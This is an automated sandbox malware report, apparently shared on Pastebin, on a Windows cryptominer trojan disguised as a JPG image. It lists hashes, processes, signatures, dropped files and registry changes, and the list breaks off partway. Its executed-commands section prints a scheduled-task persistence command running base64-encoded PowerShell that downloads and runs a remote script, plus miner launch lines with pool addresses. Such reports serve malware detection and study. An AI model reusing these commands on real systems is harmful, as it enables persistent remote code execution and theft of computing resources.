API tools faq
paste
paladin316

Exes_cd4e46ffac35716ef6703bcd5cb92726_jpg_2019-06-26_10_30.json

paladin316
Jun 26th, 2019
2,496
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 72.26 KB | None | 0 0
raw download clone embed print report
  1.  
  2. [*] MalFamily: ""
  3.  
  4. [*] MalScore: 10.0
  5.  
  6. [*] File Name: "Exes_cd4e46ffac35716ef6703bcd5cb92726.jpg"
  7. [*] File Size: 81408
  8. [*] File Type: "PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed"
  9. [*] SHA256: "d30823498ba3d6e4307fd4acebfde8166b07bf5ebdf542dd6b6a534994275e99"
  10. [*] MD5: "cd4e46ffac35716ef6703bcd5cb92726"
  11. [*] SHA1: "36e4f9a955a1defa764ba7f2ebcf4939eb785164"
  12. [*] SHA512: "bd6718f14eedc1b5c8a4ea8b35f10bd4038a007918bd671adab0593549af6d72e454643f63eeaf30eb4af5da3c419c76cb9036563a88ff0ebe776173e92298c1"
  13. [*] CRC32: "3F550F1C"
  14. [*] SSDEEP: "1536:IcOjDfWiLimHc3Ui/gqSzJ7PHb7HevtO7edYgeSo57kSWPKW5Ji2Dn8DlA:IcOj3OmHFWgJzJLfek7+YgHu7kV5JwlA"
  15.  
  16. [*] Process Execution: [
  17. "Exes_cd4e46ffac35716ef6703bcd5cb92726.jpg",
  18. "cmd.exe",
  19. "schtasks.exe",
  20. "igfxTry.exe",
  21. "serominer.exe",
  22. "cmd.exe",
  23. "svchost.exe",
  24. "WMIADAP.exe",
  25. "taskeng.exe",
  26. "svchost.exe",
  27. "WmiPrvSE.exe",
  28. "svchost.exe"
  29. ]
  30.  
  31. [*] Signatures Detected: [
  32. {
  33. "Description": "Creates RWX memory",
  34. "Details": []
  35. },
  36. {
  37. "Description": "A process attempted to delay the analysis task.",
  38. "Details": [
  39. {
  40. "Process": "svchost.exe tried to sleep 360 seconds, actually delayed analysis time by 0 seconds"
  41. }
  42. ]
  43. },
  44. {
  45. "Description": "Attempts to connect to a dead IP:Port (7 unique times)",
  46. "Details": [
  47. {
  48. "IP": "194.32.146.58:443"
  49. },
  50. {
  51. "IP": "89.249.74.49:80"
  52. },
  53. {
  54. "IP": "151.139.128.14:80"
  55. },
  56. {
  57. "IP": "93.184.221.240:80"
  58. },
  59. {
  60. "IP": "37.187.167.53:443"
  61. },
  62. {
  63. "IP": "144.217.105.189:443"
  64. },
  65. {
  66. "IP": "192.35.177.64:80"
  67. }
  68. ]
  69. },
  70. {
  71. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  72. "Details": [
  73. {
  74. "ioc": "www.digicert.com1"
  75. }
  76. ]
  77. },
  78. {
  79. "Description": "Starts servers listening on 0.0.0.0:7111",
  80. "Details": []
  81. },
  82. {
  83. "Description": "Reads data out of its own binary image",
  84. "Details": [
  85. {
  86. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00000000, length: 0x00000007"
  87. },
  88. {
  89. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00000000, length: 0x00002000"
  90. },
  91. {
  92. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00000007, length: 0x001ffff0"
  93. },
  94. {
  95. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00001ff0, length: 0x00002000"
  96. },
  97. {
  98. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00003fe0, length: 0x00002000"
  99. },
  100. {
  101. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00005fd0, length: 0x00002000"
  102. },
  103. {
  104. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00007fc0, length: 0x00002000"
  105. },
  106. {
  107. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00009fb0, length: 0x00002000"
  108. },
  109. {
  110. "self_read": "process: serominer.exe, pid: 1804, offset: 0x0000bfa0, length: 0x00002000"
  111. },
  112. {
  113. "self_read": "process: serominer.exe, pid: 1804, offset: 0x0000df90, length: 0x00002000"
  114. },
  115. {
  116. "self_read": "process: serominer.exe, pid: 1804, offset: 0x0000ff80, length: 0x00002000"
  117. },
  118. {
  119. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00011f70, length: 0x00002000"
  120. },
  121. {
  122. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00013f60, length: 0x00002000"
  123. },
  124. {
  125. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00015f50, length: 0x00002000"
  126. },
  127. {
  128. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00017f40, length: 0x00002000"
  129. },
  130. {
  131. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00019f30, length: 0x00002000"
  132. },
  133. {
  134. "self_read": "process: serominer.exe, pid: 1804, offset: 0x0001bf20, length: 0x00002000"
  135. },
  136. {
  137. "self_read": "process: serominer.exe, pid: 1804, offset: 0x0001df10, length: 0x00002000"
  138. },
  139. {
  140. "self_read": "process: serominer.exe, pid: 1804, offset: 0x0001ff00, length: 0x00002000"
  141. },
  142. {
  143. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00021ef0, length: 0x00002000"
  144. },
  145. {
  146. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00023ee0, length: 0x00002000"
  147. },
  148. {
  149. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00025ed0, length: 0x00002000"
  150. },
  151. {
  152. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00027ec0, length: 0x00002000"
  153. },
  154. {
  155. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00029eb0, length: 0x00002000"
  156. },
  157. {
  158. "self_read": "process: serominer.exe, pid: 1804, offset: 0x0002bea0, length: 0x00002000"
  159. },
  160. {
  161. "self_read": "process: serominer.exe, pid: 1804, offset: 0x0002de90, length: 0x00002000"
  162. },
  163. {
  164. "self_read": "process: serominer.exe, pid: 1804, offset: 0x0002fe80, length: 0x00002000"
  165. },
  166. {
  167. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00031e70, length: 0x00002000"
  168. },
  169. {
  170. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00033e60, length: 0x00002000"
  171. },
  172. {
  173. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00035e50, length: 0x00002000"
  174. },
  175. {
  176. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00037e40, length: 0x00002000"
  177. },
  178. {
  179. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00039e30, length: 0x00002000"
  180. },
  181. {
  182. "self_read": "process: serominer.exe, pid: 1804, offset: 0x0003be20, length: 0x00002000"
  183. },
  184. {
  185. "self_read": "process: serominer.exe, pid: 1804, offset: 0x0003de10, length: 0x00002000"
  186. },
  187. {
  188. "self_read": "process: serominer.exe, pid: 1804, offset: 0x0003fe00, length: 0x00002000"
  189. },
  190. {
  191. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00041df0, length: 0x00002000"
  192. },
  193. {
  194. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00043de0, length: 0x00002000"
  195. },
  196. {
  197. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00045dd0, length: 0x00002000"
  198. },
  199. {
  200. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00047dc0, length: 0x00002000"
  201. },
  202. {
  203. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00048e00, length: 0x00000037"
  204. },
  205. {
  206. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00048e14, length: 0x000000b2"
  207. },
  208. {
  209. "self_read": "process: serominer.exe, pid: 1804, offset: 0x00048e37, length: 0x0061840f"
  210. }
  211. ]
  212. },
  213. {
  214. "Description": "A process created a hidden window",
  215. "Details": [
  216. {
  217. "Process": "svchost.exe -> \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE"
  218. }
  219. ]
  220. },
  221. {
  222. "Description": "Drops a binary and executes it",
  223. "Details": [
  224. {
  225. "binary": "C:\\Users\\Public\\igfxTry.exe"
  226. }
  227. ]
  228. },
  229. {
  230. "Description": "Performs some HTTP requests",
  231. "Details": [
  232. {
  233. "url": "http://ocsp.trust-provider.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEENSAj%2F6qJAfE5%2Fj9OXBRE4%3D"
  234. },
  235. {
  236. "url": "http://ocsp.comodoca4.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrJdiQ%2Ficg9B19asFe73bPYs%2BreAQUdXGnGUgZvJ2d6kFH35TESHeZ03kCEFslzmkHxCZVZtM5DJmpVK0%3D"
  237. },
  238. {
  239. "url": "http://ocsp.comodoca4.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTOpjOEf6LG1z52jqAxwDlTxoaOCgQUQAlhZ%2FC8g3FP3hIILG%2FU1Ct2PZYCEQD%2FHLPpS7hZm4ag9hWsTJ09"
  240. },
  241. {
  242. "url": "http://apps.identrust.com/roots/dstrootcax3.p7c"
  243. },
  244. {
  245. "url": "http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab"
  246. },
  247. {
  248. "url": "http://isrg.trustid.ocsp.identrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoBQUIAAAFThXNqC4Xspwg%3D"
  249. }
  250. ]
  251. },
  252. {
  253. "Description": "The binary likely contains encrypted or compressed data.",
  254. "Details": [
  255. {
  256. "section": "name: UPX1, entropy: 7.89, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x00013800, virtual_size: 0x00014000"
  257. }
  258. ]
  259. },
  260. {
  261. "Description": "The executable is compressed using UPX",
  262. "Details": [
  263. {
  264. "section": "name: UPX0, entropy: 0.00, characteristics: IMAGE_SCN_CNT_UNINITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE, raw_size: 0x00000000, virtual_size: 0x00028000"
  265. }
  266. ]
  267. },
  268. {
  269. "Description": "Attempts to execute a Living Off The Land Binary command for post exeploitation",
  270. "Details": [
  271. {
  272. "MITRE T1078 - schtask": "(Tactic: Execution, Persistence, Privilege Escalation)"
  273. }
  274. ]
  275. },
  276. {
  277. "Description": "Installs itself for autorun at Windows startup",
  278. "Details": [
  279. {
  280. "task": "C:\\Windows\\System32\\cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 30 /tn vipThundersss /tr \"powershell.exe -ep bypass -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAG0AeQB3AGUAYgBzAGEAYgBjAGQALgBkAG8ALgBhAG0ALwB2AGkAcAAuAHQAeAB0ACcAKQApAA==\""
  281. }
  282. ]
  283. },
  284. {
  285. "Description": "Attempts to execute a powershell command with suspicious parameter/s",
  286. "Details": [
  287. {
  288. "execution_policy": "Attempts to bypass execution policy"
  289. },
  290. {
  291. "b64_encoded": "Uses a Base64 encoded command value"
  292. }
  293. ]
  294. },
  295. {
  296. "Description": "File has been identified by 39 Antiviruses on VirusTotal as malicious",
  297. "Details": [
  298. {
  299. "MicroWorld-eScan": "Gen:Variant.Graftor.595310"
  300. },
  301. {
  302. "Qihoo-360": "HEUR/QVM11.1.17BD.Malware.Gen"
  303. },
  304. {
  305. "ALYac": "Gen:Variant.Graftor.595310"
  306. },
  307. {
  308. "Alibaba": "Trojan:Win32/CoinMiner.0253e1f9"
  309. },
  310. {
  311. "Symantec": "Trojan.Gen.MBT"
  312. },
  313. {
  314. "ESET-NOD32": "a variant of Win32/CoinMiner.BXI"
  315. },
  316. {
  317. "APEX": "Malicious"
  318. },
  319. {
  320. "GData": "Win32.Application.CoinMiner.T@gen"
  321. },
  322. {
  323. "Kaspersky": "HEUR:Trojan.Win32.Miner.gen"
  324. },
  325. {
  326. "BitDefender": "Gen:Variant.Graftor.595310"
  327. },
  328. {
  329. "Avast": "FileRepMalware"
  330. },
  331. {
  332. "Rising": "Trojan.CoinMiner!8.30A/N3#100% (RDM+:cmRtazqckGq+MbuLU6iwOcurBGCH)"
  333. },
  334. {
  335. "Ad-Aware": "Gen:Variant.Graftor.595310"
  336. },
  337. {
  338. "Emsisoft": "Gen:Variant.Graftor.595310 (B)"
  339. },
  340. {
  341. "F-Secure": "Trojan.TR/Downloader.Gen"
  342. },
  343. {
  344. "Invincea": "heuristic"
  345. },
  346. {
  347. "McAfee-GW-Edition": "BehavesLike.Win32.PWSZbot.lc"
  348. },
  349. {
  350. "Trapmine": "malicious.high.ml.score"
  351. },
  352. {
  353. "FireEye": "Generic.mg.cd4e46ffac35716e"
  354. },
  355. {
  356. "SentinelOne": "DFI - Malicious PE"
  357. },
  358. {
  359. "Avira": "TR/Downloader.Gen"
  360. },
  361. {
  362. "Endgame": "malicious (moderate confidence)"
  363. },
  364. {
  365. "Arcabit": "Trojan.Graftor.D9156E"
  366. },
  367. {
  368. "AegisLab": "Trojan.Win32.Generic.lAYU"
  369. },
  370. {
  371. "ZoneAlarm": "HEUR:Trojan.Win32.Miner.gen"
  372. },
  373. {
  374. "Microsoft": "Trojan:Win32/Wacatac.B!ml"
  375. },
  376. {
  377. "AhnLab-V3": "Trojan/Win32.Agent.R272628"
  378. },
  379. {
  380. "Acronis": "suspicious"
  381. },
  382. {
  383. "McAfee": "GenericRXHS-TT!CB8D10A1FA84"
  384. },
  385. {
  386. "MAX": "malware (ai score=83)"
  387. },
  388. {
  389. "Cylance": "Unsafe"
  390. },
  391. {
  392. "Tencent": "Win32.Trojan.Downloader.Szvi"
  393. },
  394. {
  395. "eGambit": "Unsafe.AI_Score_79%"
  396. },
  397. {
  398. "Fortinet": "W32/CoinMiner.BXR!tr"
  399. },
  400. {
  401. "AVG": "FileRepMalware"
  402. },
  403. {
  404. "Cybereason": "malicious.fac357"
  405. },
  406. {
  407. "Panda": "Trj/Genetic.gen"
  408. },
  409. {
  410. "CrowdStrike": "win/malicious_confidence_100% (D)"
  411. },
  412. {
  413. "MaxSecure": "Trojan.Malware.300983.susgen"
  414. }
  415. ]
  416. }
  417. ]
  418.  
  419. [*] Started Service: []
  420.  
  421. [*] Executed Commands: [
  422. "C:\\Windows\\System32\\cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 30 /tn vipThundersss /tr \"powershell.exe -ep bypass -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAG0AeQB3AGUAYgBzAGEAYgBjAGQALgBkAG8ALgBhAG0ALwB2AGkAcAAuAHQAeAB0ACcAKQApAA==\"",
  423. "C:\\Users\\Public\\igfxTry.exe -v 3 -r 20 -s stratum+tcp://pasc-us-east1.nanopool.org:15556 -su 619059 -cpu -cputhreads 1",
  424. "C:\\Users\\Public\\serominer.exe ",
  425. "schtasks /create /ru system /sc MINUTE /mo 30 /tn vipThundersss /tr \"powershell.exe -ep bypass -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAG0AeQB3AGUAYgBzAGEAYgBjAGQALgBkAG8ALgBhAG0ALwB2AGkAcAAuAHQAeAB0ACcAKQApAA==\"",
  426. "\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE wmiadap.exe /F /T /R",
  427. "taskeng.exe {F886DF70-B283-4111-B4B9-6C532B2A85E8} S-1-5-18:NT AUTHORITY\\System:Service:",
  428. "C:\\ProgramData\\abc.bat ",
  429. "serominer-cuda.exe -P stratum1+tcp://Q5DcabShFpcpsKApgvH14ZJpm96brWzd4tnZvh8CWCNaZYY1McHiLx4FS5jd9ZhFyXvWKd2fFmvjssZgTL2LpaQZUQfBvdjiLBpagM9HQLZEZYLb3gCJ7Xpk71yAtP5b8qh.test001@sero.f2pool.com:4200 -U",
  430. "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding",
  431. "\"C:\\Program Files\\Common Files\\Microsoft Shared\\Office15\\OLicenseHeartbeat.exe\""
  432. ]
  433.  
  434. [*] Mutexes: [
  435. "DefaultTabtip-MainUI",
  436. "CicLoadWinStaWinSta0",
  437. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  438. "Global\\ADAP_WMI_ENTRY",
  439. "Global\\RefreshRA_Mutex",
  440. "Global\\RefreshRA_Mutex_Lib",
  441. "Global\\RefreshRA_Mutex_Flag"
  442. ]
  443.  
  444. [*] Modified Files: [
  445. "C:\\ProgramData\\TT99.txt",
  446. "C:\\Users\\Public\\igfxTry.exe",
  447. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9EC3B71635F8BA3FC68DE181A104A0EF_F6C39EF89D8A3A72327D8412589658B2",
  448. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9EC3B71635F8BA3FC68DE181A104A0EF_F6C39EF89D8A3A72327D8412589658B2",
  449. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\64DCC9872C5635B1B7891B30665E0558_5552C20A2631357820903FD38A8C0F9F",
  450. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\64DCC9872C5635B1B7891B30665E0558_5552C20A2631357820903FD38A8C0F9F",
  451. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6AF4EE75E3A4ABA658C0087EB9A0BB5B_97D50225702286C0B3DEBEB7EA38C6C9",
  452. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6AF4EE75E3A4ABA658C0087EB9A0BB5B_97D50225702286C0B3DEBEB7EA38C6C9",
  453. "C:\\ProgramData\\27205.tmp",
  454. "C:\\Users\\Public\\serominer.exe",
  455. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\E0F5C59F9FA661F6F4C50B87FEF3A15A",
  456. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\E0F5C59F9FA661F6F4C50B87FEF3A15A",
  457. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab47EF.tmp",
  458. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar47F0.tmp",
  459. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015",
  460. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015",
  461. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab4F25.tmp",
  462. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar4F26.tmp",
  463. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08",
  464. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08",
  465. "C:\\Windows\\sysnative\\Tasks\\vipThundersss",
  466. "C:\\Windows\\appcompat\\Programs\\RecentFileCache.bcf",
  467. "C:\\Windows\\sysnative\\Tasks\\Microsoft\\Windows Defender\\MP Scheduled Scan",
  468. "\\Device\\LanmanDatagramReceiver",
  469. "C:\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb",
  470. "C:\\Windows\\SoftwareDistribution\\DataStore\\Logs\\edb.chk",
  471. "C:\\ProgramData\\__tmp_rar_sfx_access_check_24337953",
  472. "C:\\ProgramData\\nvrtc64_92.dll",
  473. "C:\\ProgramData\\nvrtc-builtins64_92.dll",
  474. "C:\\ProgramData\\serominer-cuda.exe",
  475. "C:\\ProgramData\\abc.bat",
  476. "C:\\Windows\\sysnative\\wbem\\Performance\\WmiApRpl_new.h",
  477. "C:\\Windows\\sysnative\\wbem\\Performance\\WmiApRpl.h",
  478. "C:\\Windows\\sysnative\\wbem\\Performance\\WmiApRpl_new.ini",
  479. "\\??\\PIPE\\samr",
  480. "C:\\Windows\\sysnative\\wbem\\repository\\WRITABLE.TST",
  481. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING1.MAP",
  482. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING2.MAP",
  483. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING3.MAP",
  484. "C:\\Windows\\sysnative\\wbem\\repository\\OBJECTS.DATA",
  485. "C:\\Windows\\sysnative\\wbem\\repository\\INDEX.BTR",
  486. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
  487. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER",
  488. "\\??\\WMIDataDevice"
  489. ]
  490.  
  491. [*] Deleted Files: [
  492. "C:\\ProgramData\\27205.tmp",
  493. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab47EF.tmp",
  494. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar47F0.tmp",
  495. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab4F25.tmp",
  496. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar4F26.tmp",
  497. "C:\\ProgramData\\01430.tmp",
  498. "C:\\Windows\\Tasks\\vipThundersss.job",
  499. "C:\\Windows\\sysnative\\Tasks\\Microsoft\\Windows Defender\\MpIdleTask",
  500. "C:\\Windows\\sysnative\\Tasks\\Microsoft\\Windows Defender\\MP Scheduled Scan",
  501. "C:\\Windows\\SoftwareDistribution\\DataStore\\Logs\\edbtmp.log",
  502. "C:\\ProgramData\\__tmp_rar_sfx_access_check_24337953",
  503. "C:\\Windows\\sysnative\\wbem\\Performance\\WmiApRpl.h",
  504. "C:\\Windows\\sysnative\\wbem\\Performance\\WmiApRpl_new.h"
  505. ]
  506.  
  507. [*] Modified Registry Keys: [
  508. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  509. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{94DE636A-CEDF-4E97-888F-46B0B9CAAB47}\\Path",
  510. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{94DE636A-CEDF-4E97-888F-46B0B9CAAB47}\\Hash",
  511. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\vipThundersss\\Id",
  512. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\vipThundersss\\Index",
  513. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{94DE636A-CEDF-4E97-888F-46B0B9CAAB47}\\Triggers",
  514. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{94DE636A-CEDF-4E97-888F-46B0B9CAAB47}\\DynamicInfo",
  515. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStart",
  516. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\PreviousServiceShutdown",
  517. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ProcessID",
  518. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{71250440-DC68-4EF0-B0DF-460C49387495}\\Path",
  519. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{71250440-DC68-4EF0-B0DF-460C49387495}\\Hash",
  520. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\Microsoft\\Windows Defender\\MP Scheduled Scan\\Id",
  521. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\Microsoft\\Windows Defender\\MP Scheduled Scan\\Index",
  522. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{71250440-DC68-4EF0-B0DF-460C49387495}\\Triggers",
  523. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{71250440-DC68-4EF0-B0DF-460C49387495}\\DynamicInfo",
  524. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{ED0D73D7-BC97-46E2-AC55-FD6EB3F72C05}\\DynamicInfo",
  525. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\{F886DF70-B283-4111-B4B9-6C532B2A85E8}",
  526. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\{B17E070E-57E3-43F6-96F5-A9A9C921DEBF}\\DynamicInfo",
  527. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Handshake\\{0230DD20-8DDC-42C9-B852-B05F7CAAB4AE}",
  528. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Wbem\\Transports\\Decoupled\\Server",
  529. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\CreationTime",
  530. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\MarshaledProxy",
  531. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\ProcessIdentifier",
  532. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ConfigValueEssNeedsLoading",
  533. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\List of event-active namespaces",
  534. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\ESS\\//./root/CIMV2\\SCM Event Provider",
  535. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\IDE\\DiskVBOX_HARDDISK___________________________1.0_____\\5&33d1638a&0&0.0.0_0-{00000000-0000-0000-0000-000000000000}",
  536. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\advapi32.dll[MofResourceName]",
  537. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\en-US\\advapi32.dll.mui[MofResourceName]",
  538. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\drivers\\ACPI.sys[ACPIMOFResource]",
  539. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\drivers\\en-US\\ACPI.sys.mui[ACPIMOFResource]",
  540. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\drivers\\ndis.sys[MofResourceName]",
  541. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\drivers\\en-US\\ndis.sys.mui[MofResourceName]",
  542. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\mssmbios.sys[MofResource]",
  543. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\en-US\\mssmbios.sys.mui[MofResource]",
  544. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\HDAudBus.sys[HDAudioMofName]",
  545. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\en-US\\HDAudBus.sys.mui[HDAudioMofName]",
  546. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\intelppm.sys[PROCESSORWMI]",
